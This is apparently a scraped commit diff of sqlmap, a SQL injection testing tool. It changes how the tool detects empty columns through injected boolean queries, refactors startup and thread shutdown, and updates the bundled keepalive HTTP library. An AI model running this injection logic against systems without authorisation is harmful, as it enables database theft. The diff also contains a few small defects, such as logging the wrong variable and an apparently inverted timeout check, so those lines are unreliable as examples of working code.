# Reference: http://bugs.mysql.com/bug.php?id=15855
|
||||||
|
|
||||||
|
|
|
@ -294,8 +294,11 @@ class Entries:
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
|
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
|
||||||
|
debugMsg = "checking for empty columns"
|
||||||
|
logger.debug(infoMsg)
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
|
if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
|
||||||
emptyColumns.append(column)
|
emptyColumns.append(column)
|
||||||
debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
|
debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
|
||||||
debugMsg += "dumped as it appears to be empty"
|
debugMsg += "dumped as it appears to be empty"
|
||||||
|
|
113
sqlmap.py
113
sqlmap.py
|
@ -12,6 +12,7 @@ sys.dont_write_bytecode = True
|
||||||
from lib.utils import versioncheck # this has to be the first non-standard import
|
from lib.utils import versioncheck # this has to be the first non-standard import
|
||||||
|
|
||||||
import bdb
|
import bdb
|
||||||
|
import distutils
|
||||||
import inspect
|
import inspect
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
|
@ -19,6 +20,7 @@ import re
|
||||||
import shutil
|
import shutil
|
||||||
import sys
|
import sys
|
||||||
import thread
|
import thread
|
||||||
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
import warnings
|
import warnings
|
||||||
|
@ -26,34 +28,44 @@ import warnings
|
||||||
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
|
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
|
||||||
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
|
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
|
||||||
|
|
||||||
from lib.controller.controller import start
|
|
||||||
from lib.core.common import banner
|
|
||||||
from lib.core.common import createGithubIssue
|
|
||||||
from lib.core.common import dataToStdout
|
|
||||||
from lib.core.common import getSafeExString
|
|
||||||
from lib.core.common import getUnicode
|
|
||||||
from lib.core.common import maskSensitiveData
|
|
||||||
from lib.core.common import setPaths
|
|
||||||
from lib.core.common import weAreFrozen
|
|
||||||
from lib.core.data import cmdLineOptions
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.core.common import unhandledExceptionMessage
|
try:
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.controller.controller import start
|
||||||
from lib.core.exception import SqlmapShellQuitException
|
from lib.core.common import banner
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.common import createGithubIssue
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.option import initOptions
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.option import init
|
from lib.core.common import getUnicode
|
||||||
from lib.core.profiling import profile
|
from lib.core.common import maskSensitiveData
|
||||||
from lib.core.settings import LEGAL_DISCLAIMER
|
from lib.core.common import setPaths
|
||||||
from lib.core.testing import smokeTest
|
from lib.core.common import weAreFrozen
|
||||||
from lib.core.testing import liveTest
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.parse.cmdline import cmdLineParser
|
from lib.core.data import conf
|
||||||
from lib.utils.api import setRestAPILog
|
from lib.core.data import kb
|
||||||
from lib.utils.api import StdDbOut
|
from lib.core.data import paths
|
||||||
|
from lib.core.common import unhandledExceptionMessage
|
||||||
|
from lib.core.exception import SqlmapBaseException
|
||||||
|
from lib.core.exception import SqlmapShellQuitException
|
||||||
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
|
from lib.core.option import initOptions
|
||||||
|
from lib.core.option import init
|
||||||
|
from lib.core.profiling import profile
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import LEGAL_DISCLAIMER
|
||||||
|
from lib.core.settings import THREAD_FINALIZATION_TIMEOUT
|
||||||
|
from lib.core.settings import VERSION
|
||||||
|
from lib.core.testing import smokeTest
|
||||||
|
from lib.core.testing import liveTest
|
||||||
|
from lib.parse.cmdline import cmdLineParser
|
||||||
|
from lib.utils.api import setRestAPILog
|
||||||
|
from lib.utils.api import StdDbOut
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
errMsg = "user aborted"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
def modulePath():
|
def modulePath():
|
||||||
"""
|
"""
|
||||||
|
@ -68,21 +80,32 @@ def modulePath():
|
||||||
|
|
||||||
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
|
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
|
||||||
|
|
||||||
|
def checkEnvironment():
|
||||||
|
paths.SQLMAP_ROOT_PATH = modulePath()
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.path.isdir(paths.SQLMAP_ROOT_PATH)
|
||||||
|
except UnicodeEncodeError:
|
||||||
|
errMsg = "your system does not properly handle non-ASCII paths. "
|
||||||
|
errMsg += "Please move the sqlmap's directory to the other location"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
|
if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"):
|
||||||
|
errMsg = "your runtime environment (e.g. PYTHONPATH) is "
|
||||||
|
errMsg += "broken. Please make sure that you are not running "
|
||||||
|
errMsg += "newer versions of sqlmap with runtime scripts for older "
|
||||||
|
errMsg += "versions"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""
|
"""
|
||||||
Main function of sqlmap when running from command line.
|
Main function of sqlmap when running from command line.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
paths.SQLMAP_ROOT_PATH = modulePath()
|
checkEnvironment()
|
||||||
|
|
||||||
try:
|
|
||||||
os.path.isdir(paths.SQLMAP_ROOT_PATH)
|
|
||||||
except UnicodeEncodeError:
|
|
||||||
errMsg = "your system does not properly handle non-ASCII paths. "
|
|
||||||
errMsg += "Please move the sqlmap's directory to the other location"
|
|
||||||
logger.error(errMsg)
|
|
||||||
raise SystemExit
|
|
||||||
|
|
||||||
setPaths()
|
setPaths()
|
||||||
banner()
|
banner()
|
||||||
|
@ -179,6 +202,14 @@ def main():
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif "can't start new thread" in excMsg:
|
||||||
|
errMsg = "there has been a problem while creating new thread instance. "
|
||||||
|
errMsg += "Please make sure that you are not running too many processes"
|
||||||
|
if not IS_WIN:
|
||||||
|
errMsg += " (or increase the 'ulimit -u' value)"
|
||||||
|
logger.error(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif all(_ in excMsg for _ in ("pymysql", "configparser")):
|
elif all(_ in excMsg for _ in ("pymysql", "configparser")):
|
||||||
errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
|
errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -246,8 +277,16 @@ def main():
|
||||||
if conf.get("dumper"):
|
if conf.get("dumper"):
|
||||||
conf.dumper.flush()
|
conf.dumper.flush()
|
||||||
|
|
||||||
|
# short delay for thread finalization
|
||||||
|
try:
|
||||||
|
_ = time.time()
|
||||||
|
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
|
||||||
|
time.sleep(0.01)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
|
||||||
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
|
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
|
||||||
if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
|
if threading.activeCount() > 1:
|
||||||
os._exit(0)
|
os._exit(0)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
2
thirdparty/bottle/bottle.py
vendored
2
thirdparty/bottle/bottle.py
vendored
|
@ -95,7 +95,7 @@ try:
|
||||||
return (args, varargs, keywords, tuple(defaults) or None)
|
return (args, varargs, keywords, tuple(defaults) or None)
|
||||||
except ImportError:
|
except ImportError:
|
||||||
from inspect import getargspec
|
from inspect import getargspec
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from simplejson import dumps as json_dumps, loads as json_lds
|
from simplejson import dumps as json_dumps, loads as json_lds
|
||||||
except ImportError: # pragma: no cover
|
except ImportError: # pragma: no cover
|
||||||
|
|
525
thirdparty/keepalive/keepalive.py
vendored
525
thirdparty/keepalive/keepalive.py
vendored
|
@ -1,30 +1,40 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# This library is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU Lesser General Public
|
||||||
|
# License as published by the Free Software Foundation; either
|
||||||
|
# version 2.1 of the License, or (at your option) any later version.
|
||||||
#
|
#
|
||||||
# Copyright 2002-2003 Michael D. Stenner
|
# This library is distributed in the hope that it will be useful,
|
||||||
#
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
# This program is free software: you can redistribute it and/or modify it
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
# under the terms of the GNU Lesser General Public License as published
|
# Lesser General Public License for more details.
|
||||||
# by the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU Lesser General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU Lesser General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
#
|
#
|
||||||
|
# You should have received a copy of the GNU Lesser General Public
|
||||||
|
# License along with this library; if not, write to the
|
||||||
|
# Free Software Foundation, Inc.,
|
||||||
|
# 59 Temple Place, Suite 330,
|
||||||
|
# Boston, MA 02111-1307 USA
|
||||||
|
|
||||||
|
# This file was part of urlgrabber, a high-level cross-protocol url-grabber
|
||||||
|
# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko
|
||||||
|
# Copyright 2015 Sergio Fernández
|
||||||
|
|
||||||
"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
|
"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
|
||||||
|
|
||||||
import urllib2
|
>>> import urllib2
|
||||||
from keepalive import HTTPHandler
|
>>> from keepalive import HTTPHandler
|
||||||
keepalive_handler = HTTPHandler()
|
>>> keepalive_handler = HTTPHandler()
|
||||||
opener = urllib2.build_opener(keepalive_handler)
|
>>> opener = urllib2.build_opener(keepalive_handler)
|
||||||
urllib2.install_opener(opener)
|
>>> urllib2.install_opener(opener)
|
||||||
|
>>>
|
||||||
|
>>> fo = urllib2.urlopen('http://www.python.org')
|
||||||
|
|
||||||
fo = urllib2.urlopen('http://www.python.org')
|
If a connection to a given host is requested, and all of the existing
|
||||||
|
connections are still in use, another connection will be opened. If
|
||||||
|
the handler tries to use an existing connection but it fails in some
|
||||||
|
way, it will be closed and removed from the pool.
|
||||||
|
|
||||||
To remove the handler, simply re-run build_opener with no arguments, and
|
To remove the handler, simply re-run build_opener with no arguments, and
|
||||||
install that opener.
|
install that opener.
|
||||||
|
@ -37,9 +47,13 @@ use the handler methods:
|
||||||
close_all()
|
close_all()
|
||||||
open_connections()
|
open_connections()
|
||||||
|
|
||||||
Example:
|
NOTE: using the close_connection and close_all methods of the handler
|
||||||
|
should be done with care when using multiple threads.
|
||||||
|
* there is nothing that prevents another thread from creating new
|
||||||
|
connections immediately after connections are closed
|
||||||
|
* no checks are done to prevent in-use connections from being closed
|
||||||
|
|
||||||
keepalive_handler.close_all()
|
>>> keepalive_handler.close_all()
|
||||||
|
|
||||||
EXTRA ATTRIBUTES AND METHODS
|
EXTRA ATTRIBUTES AND METHODS
|
||||||
|
|
||||||
|
@ -55,162 +69,307 @@ EXTRA ATTRIBUTES AND METHODS
|
||||||
If you want the best of both worlds, use this inside an
|
If you want the best of both worlds, use this inside an
|
||||||
AttributeError-catching try:
|
AttributeError-catching try:
|
||||||
|
|
||||||
try: status = fo.status
|
>>> try: status = fo.status
|
||||||
except AttributeError: status = None
|
>>> except AttributeError: status = None
|
||||||
|
|
||||||
Unfortunately, these are ONLY there if status == 200, so it's not
|
Unfortunately, these are ONLY there if status == 200, so it's not
|
||||||
easy to distinguish between non-200 responses. The reason is that
|
easy to distinguish between non-200 responses. The reason is that
|
||||||
urllib2 tries to do clever things with error codes 301, 302, 401,
|
urllib2 tries to do clever things with error codes 301, 302, 401,
|
||||||
and 407, and it wraps the object upon return.
|
and 407, and it wraps the object upon return.
|
||||||
|
|
||||||
You can optionally set the module-level global HANDLE_ERRORS to 0,
|
For python versions earlier than 2.4, you can avoid this fancy error
|
||||||
in which case the handler will always return the object directly.
|
handling by setting the module-level global HANDLE_ERRORS to zero.
|
||||||
If you like the fancy handling of errors, don't do this. If you
|
You see, prior to 2.4, it's the HTTP Handler's job to determine what
|
||||||
prefer to see your error codes, then do.
|
to handle specially, and what to just pass up. HANDLE_ERRORS == 0
|
||||||
|
means "pass everything up". In python 2.4, however, this job no
|
||||||
|
longer belongs to the HTTP Handler and is now done by a NEW handler,
|
||||||
|
HTTPErrorProcessor. Here's the bottom line:
|
||||||
|
|
||||||
|
python version < 2.4
|
||||||
|
HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as
|
||||||
|
errors
|
||||||
|
HANDLE_ERRORS == 0 pass everything up, error processing is
|
||||||
|
left to the calling code
|
||||||
|
python version >= 2.4
|
||||||
|
HANDLE_ERRORS == 1 pass up 200, treat the rest as errors
|
||||||
|
HANDLE_ERRORS == 0 (default) pass everything up, let the
|
||||||
|
other handlers (specifically,
|
||||||
|
HTTPErrorProcessor) decide what to do
|
||||||
|
|
||||||
|
In practice, setting the variable either way makes little difference
|
||||||
|
in python 2.4, so for the most consistent behavior across versions,
|
||||||
|
you probably just want to use the defaults, which will give you
|
||||||
|
exceptions on errors.
|
||||||
|
|
||||||
"""
|
"""
|
||||||
from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader
|
|
||||||
|
|
||||||
from lib.core.convert import unicodeencode
|
# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $
|
||||||
from lib.core.data import kb
|
|
||||||
|
|
||||||
import threading
|
|
||||||
import urllib2
|
import urllib2
|
||||||
import httplib
|
import httplib
|
||||||
import socket
|
import socket
|
||||||
|
import thread
|
||||||
|
|
||||||
VERSION = (0, 1)
|
DEBUG = None
|
||||||
#STRING_VERSION = '.'.join(map(str, VERSION))
|
|
||||||
DEBUG = 0
|
|
||||||
HANDLE_ERRORS = 1
|
|
||||||
|
|
||||||
class HTTPHandler(urllib2.HTTPHandler):
|
import sys
|
||||||
|
if sys.version_info < (2, 4): HANDLE_ERRORS = 1
|
||||||
|
else: HANDLE_ERRORS = 0
|
||||||
|
|
||||||
|
class ConnectionManager:
|
||||||
|
"""
|
||||||
|
The connection manager must be able to:
|
||||||
|
* keep track of all existing
|
||||||
|
"""
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._connections = {}
|
self._lock = thread.allocate_lock()
|
||||||
|
self._hostmap = {} # map hosts to a list of connections
|
||||||
|
self._connmap = {} # map connections to host
|
||||||
|
self._readymap = {} # map connection to ready state
|
||||||
|
|
||||||
|
def add(self, host, connection, ready):
|
||||||
|
self._lock.acquire()
|
||||||
|
try:
|
||||||
|
if not self._hostmap.has_key(host): self._hostmap[host] = []
|
||||||
|
self._hostmap[host].append(connection)
|
||||||
|
self._connmap[connection] = host
|
||||||
|
self._readymap[connection] = ready
|
||||||
|
finally:
|
||||||
|
self._lock.release()
|
||||||
|
|
||||||
|
def remove(self, connection):
|
||||||
|
self._lock.acquire()
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
host = self._connmap[connection]
|
||||||
|
except KeyError:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
del self._connmap[connection]
|
||||||
|
del self._readymap[connection]
|
||||||
|
self._hostmap[host].remove(connection)
|
||||||
|
if not self._hostmap[host]: del self._hostmap[host]
|
||||||
|
finally:
|
||||||
|
self._lock.release()
|
||||||
|
|
||||||
|
def set_ready(self, connection, ready):
|
||||||
|
try: self._readymap[connection] = ready
|
||||||
|
except KeyError: pass
|
||||||
|
|
||||||
|
def get_ready_conn(self, host):
|
||||||
|
conn = None
|
||||||
|
self._lock.acquire()
|
||||||
|
try:
|
||||||
|
if self._hostmap.has_key(host):
|
||||||
|
for c in self._hostmap[host]:
|
||||||
|
if self._readymap[c]:
|
||||||
|
self._readymap[c] = 0
|
||||||
|
conn = c
|
||||||
|
break
|
||||||
|
finally:
|
||||||
|
self._lock.release()
|
||||||
|
return conn
|
||||||
|
|
||||||
|
def get_all(self, host=None):
|
||||||
|
if host:
|
||||||
|
return list(self._hostmap.get(host, []))
|
||||||
|
else:
|
||||||
|
return dict(self._hostmap)
|
||||||
|
|
||||||
|
class KeepAliveHandler:
|
||||||
|
def __init__(self):
|
||||||
|
self._cm = ConnectionManager()
|
||||||
|
|
||||||
|
#### Connection Management
|
||||||
|
def open_connections(self):
|
||||||
|
"""return a list of connected hosts and the number of connections
|
||||||
|
to each. [('foo.com:80', 2), ('bar.org', 1)]"""
|
||||||
|
return [(host, len(li)) for (host, li) in self._cm.get_all().items()]
|
||||||
|
|
||||||
def close_connection(self, host):
|
def close_connection(self, host):
|
||||||
"""close connection to <host>
|
"""close connection(s) to <host>
|
||||||
host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
|
host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
|
||||||
no error occurs if there is no connection to that host."""
|
no error occurs if there is no connection to that host."""
|
||||||
self._remove_connection(host, close=1)
|
for h in self._cm.get_all(host):
|
||||||
|
self._cm.remove(h)
|
||||||
def open_connections(self):
|
h.close()
|
||||||
"""return a list of connected hosts"""
|
|
||||||
retVal = []
|
|
||||||
currentThread = threading.currentThread()
|
|
||||||
for name, host in self._connections.keys():
|
|
||||||
if name == currentThread.getName():
|
|
||||||
retVal.append(host)
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def close_all(self):
|
def close_all(self):
|
||||||
"""close all open connections"""
|
"""close all open connections"""
|
||||||
for _, conn in self._connections.items():
|
for host, conns in self._cm.get_all().items():
|
||||||
conn.close()
|
for h in conns:
|
||||||
self._connections = {}
|
self._cm.remove(h)
|
||||||
|
h.close()
|
||||||
|
|
||||||
def _remove_connection(self, host, close=0):
|
def _request_closed(self, request, host, connection):
|
||||||
key = self._get_connection_key(host)
|
"""tells us that this request is now closed and the the
|
||||||
if self._connections.has_key(key):
|
connection is ready for another request"""
|
||||||
if close: self._connections[key].close()
|
self._cm.set_ready(connection, 1)
|
||||||
del self._connections[key]
|
|
||||||
|
|
||||||
def _get_connection_key(self, host):
|
def _remove_connection(self, host, connection, close=0):
|
||||||
return (threading.currentThread().getName(), host)
|
if close: connection.close()
|
||||||
|
self._cm.remove(connection)
|
||||||
|
|
||||||
def _start_connection(self, h, req):
|
#### Transaction Execution
|
||||||
h.clearheaders()
|
def do_open(self, req):
|
||||||
try:
|
host = req.host
|
||||||
if req.has_data():
|
|
||||||
data = req.get_data()
|
|
||||||
h.putrequest('POST', req.get_selector())
|
|
||||||
if not req.headers.has_key('Content-type'):
|
|
||||||
req.headers['Content-type'] = 'application/x-www-form-urlencoded'
|
|
||||||
if not req.headers.has_key('Content-length'):
|
|
||||||
req.headers['Content-length'] = '%d' % len(data)
|
|
||||||
else:
|
|
||||||
h.putrequest(req.get_method() or 'GET', req.get_selector())
|
|
||||||
|
|
||||||
if not req.headers.has_key('Connection'):
|
|
||||||
req.headers['Connection'] = 'keep-alive'
|
|
||||||
|
|
||||||
for args in self.parent.addheaders:
|
|
||||||
h.putheader(*args)
|
|
||||||
for k, v in req.headers.items():
|
|
||||||
h.putheader(k, v)
|
|
||||||
h.endheaders()
|
|
||||||
if req.has_data():
|
|
||||||
h.send(data)
|
|
||||||
except socket.error, err:
|
|
||||||
h.close()
|
|
||||||
raise urllib2.URLError(err)
|
|
||||||
|
|
||||||
def do_open(self, http_class, req):
|
|
||||||
h = None
|
|
||||||
host = req.get_host()
|
|
||||||
if not host:
|
if not host:
|
||||||
raise urllib2.URLError('no host given')
|
raise urllib2.URLError('no host given')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
need_new_connection = 1
|
h = self._cm.get_ready_conn(host)
|
||||||
key = self._get_connection_key(host)
|
while h:
|
||||||
h = self._connections.get(key)
|
r = self._reuse_connection(h, req, host)
|
||||||
if not h is None:
|
|
||||||
try:
|
|
||||||
self._start_connection(h, req)
|
|
||||||
except:
|
|
||||||
r = None
|
|
||||||
else:
|
|
||||||
try: r = h.getresponse()
|
|
||||||
except httplib.ResponseNotReady, e: r = None
|
|
||||||
except httplib.BadStatusLine, e: r = None
|
|
||||||
|
|
||||||
if r is None or r.version == 9:
|
# if this response is non-None, then it worked and we're
|
||||||
# httplib falls back to assuming HTTP 0.9 if it gets a
|
# done. Break out, skipping the else block.
|
||||||
# bad header back. This is most likely to happen if
|
if r: break
|
||||||
# the socket has been closed by the server since we
|
|
||||||
# last used the connection.
|
# connection is bad - possibly closed by server
|
||||||
if DEBUG: print "failed to re-use connection to %s" % host
|
# discard it and ask for the next free connection
|
||||||
h.close()
|
h.close()
|
||||||
else:
|
self._cm.remove(h)
|
||||||
if DEBUG: print "re-using connection to %s" % host
|
h = self._cm.get_ready_conn(host)
|
||||||
need_new_connection = 0
|
else:
|
||||||
if need_new_connection:
|
# no (working) free connections were found. Create a new one.
|
||||||
if DEBUG: print "creating new connection to %s" % host
|
h = self._get_connection(host)
|
||||||
h = http_class(host)
|
if DEBUG: DEBUG.info("creating new connection to %s (%d)",
|
||||||
self._connections[key] = h
|
host, id(h))
|
||||||
self._start_connection(h, req)
|
self._cm.add(host, h, 0)
|
||||||
|
self._start_transaction(h, req)
|
||||||
r = h.getresponse()
|
r = h.getresponse()
|
||||||
except socket.error, err:
|
except (socket.error, httplib.HTTPException), err:
|
||||||
if h: h.close()
|
|
||||||
raise urllib2.URLError(err)
|
raise urllib2.URLError(err)
|
||||||
|
|
||||||
# if not a persistent connection, don't try to reuse it
|
if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason)
|
||||||
if r.will_close: self._remove_connection(host)
|
|
||||||
|
# if not a persistent connection, don't try to reuse it
|
||||||
|
if r.will_close:
|
||||||
|
if DEBUG: DEBUG.info('server will close connection, discarding')
|
||||||
|
self._cm.remove(h)
|
||||||
|
|
||||||
if DEBUG:
|
|
||||||
print "STATUS: %s, %s" % (r.status, r.reason)
|
|
||||||
r._handler = self
|
r._handler = self
|
||||||
r._host = host
|
r._host = host
|
||||||
r._url = req.get_full_url()
|
r._url = req.get_full_url()
|
||||||
|
r._connection = h
|
||||||
|
r.code = r.status
|
||||||
|
r.headers = r.msg
|
||||||
|
r.msg = r.reason
|
||||||
|
|
||||||
#if r.status == 200 or not HANDLE_ERRORS:
|
|
||||||
#return r
|
|
||||||
if r.status == 200 or not HANDLE_ERRORS:
|
if r.status == 200 or not HANDLE_ERRORS:
|
||||||
# [speedplane] Must return an adinfourl object
|
return r
|
||||||
resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
|
|
||||||
resp.code = r.status
|
|
||||||
resp.msg = r.reason
|
|
||||||
return resp;
|
|
||||||
else:
|
else:
|
||||||
r.code = r.status
|
return self.parent.error('http', req, r,
|
||||||
return self.parent.error('http', req, r, r.status, r.reason, r.msg)
|
r.status, r.msg, r.headers)
|
||||||
|
|
||||||
|
def _reuse_connection(self, h, req, host):
|
||||||
|
"""start the transaction with a re-used connection
|
||||||
|
return a response object (r) upon success or None on failure.
|
||||||
|
This DOES not close or remove bad connections in cases where
|
||||||
|
it returns. However, if an unexpected exception occurs, it
|
||||||
|
will close and remove the connection before re-raising.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
self._start_transaction(h, req)
|
||||||
|
r = h.getresponse()
|
||||||
|
# note: just because we got something back doesn't mean it
|
||||||
|
# worked. We'll check the version below, too.
|
||||||
|
except (socket.error, httplib.HTTPException):
|
||||||
|
r = None
|
||||||
|
except:
|
||||||
|
# adding this block just in case we've missed
|
||||||
|
# something we will still raise the exception, but
|
||||||
|
# lets try and close the connection and remove it
|
||||||
|
# first. We previously got into a nasty loop
|
||||||
|
# where an exception was uncaught, and so the
|
||||||
|
# connection stayed open. On the next try, the
|
||||||
|
# same exception was raised, etc. The tradeoff is
|
||||||
|
# that it's now possible this call will raise
|
||||||
|
# a DIFFERENT exception
|
||||||
|
if DEBUG: DEBUG.error("unexpected exception - closing " + \
|
||||||
|
"connection to %s (%d)", host, id(h))
|
||||||
|
self._cm.remove(h)
|
||||||
|
h.close()
|
||||||
|
raise
|
||||||
|
|
||||||
|
if r is None or r.version == 9:
|
||||||
|
# httplib falls back to assuming HTTP 0.9 if it gets a
|
||||||
|
# bad header back. This is most likely to happen if
|
||||||
|
# the socket has been closed by the server since we
|
||||||
|
# last used the connection.
|
||||||
|
if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)",
|
||||||
|
host, id(h))
|
||||||
|
r = None
|
||||||
|
else:
|
||||||
|
if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h))
|
||||||
|
|
||||||
|
return r
|
||||||
|
|
||||||
|
def _start_transaction(self, h, req):
|
||||||
|
try:
|
||||||
|
if req.has_data():
|
||||||
|
data = req.data
|
||||||
|
if hasattr(req, 'selector'):
|
||||||
|
h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
|
||||||
|
else:
|
||||||
|
h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
|
||||||
|
if not req.headers.has_key('Content-type'):
|
||||||
|
h.putheader('Content-type',
|
||||||
|
'application/x-www-form-urlencoded')
|
||||||
|
if not req.headers.has_key('Content-length'):
|
||||||
|
h.putheader('Content-length', '%d' % len(data))
|
||||||
|
else:
|
||||||
|
if hasattr(req, 'selector'):
|
||||||
|
h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
|
||||||
|
else:
|
||||||
|
h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
|
||||||
|
except (socket.error, httplib.HTTPException), err:
|
||||||
|
raise urllib2.URLError(err)
|
||||||
|
|
||||||
|
if not req.headers.has_key('Connection'):
|
||||||
|
req.headers['Connection'] = 'keep-alive'
|
||||||
|
|
||||||
|
for args in self.parent.addheaders:
|
||||||
|
if not req.headers.has_key(args[0]):
|
||||||
|
h.putheader(*args)
|
||||||
|
for k, v in req.headers.items():
|
||||||
|
h.putheader(k, v)
|
||||||
|
h.endheaders()
|
||||||
|
if req.has_data():
|
||||||
|
h.send(data)
|
||||||
|
|
||||||
|
def _get_connection(self, host):
|
||||||
|
return NotImplementedError
|
||||||
|
|
||||||
|
class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler):
|
||||||
|
def __init__(self):
|
||||||
|
KeepAliveHandler.__init__(self)
|
||||||
|
|
||||||
def http_open(self, req):
|
def http_open(self, req):
|
||||||
return self.do_open(HTTPConnection, req)
|
return self.do_open(req)
|
||||||
|
|
||||||
|
def _get_connection(self, host):
|
||||||
|
return HTTPConnection(host)
|
||||||
|
|
||||||
|
class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler):
|
||||||
|
def __init__(self, ssl_factory=None):
|
||||||
|
KeepAliveHandler.__init__(self)
|
||||||
|
if not ssl_factory:
|
||||||
|
try:
|
||||||
|
import sslfactory
|
||||||
|
ssl_factory = sslfactory.get_factory()
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
self._ssl_factory = ssl_factory
|
||||||
|
|
||||||
|
def https_open(self, req):
|
||||||
|
return self.do_open(req)
|
||||||
|
|
||||||
|
def _get_connection(self, host):
|
||||||
|
try: return self._ssl_factory.get_https_connection(host)
|
||||||
|
except AttributeError: return HTTPSConnection(host)
|
||||||
|
|
||||||
class HTTPResponse(httplib.HTTPResponse):
|
class HTTPResponse(httplib.HTTPResponse):
|
||||||
|
|
||||||
# we need to subclass HTTPResponse in order to
|
# we need to subclass HTTPResponse in order to
|
||||||
# 1) add readline() and readlines() methods
|
# 1) add readline() and readlines() methods
|
||||||
# 2) add close_connection() methods
|
# 2) add close_connection() methods
|
||||||
|
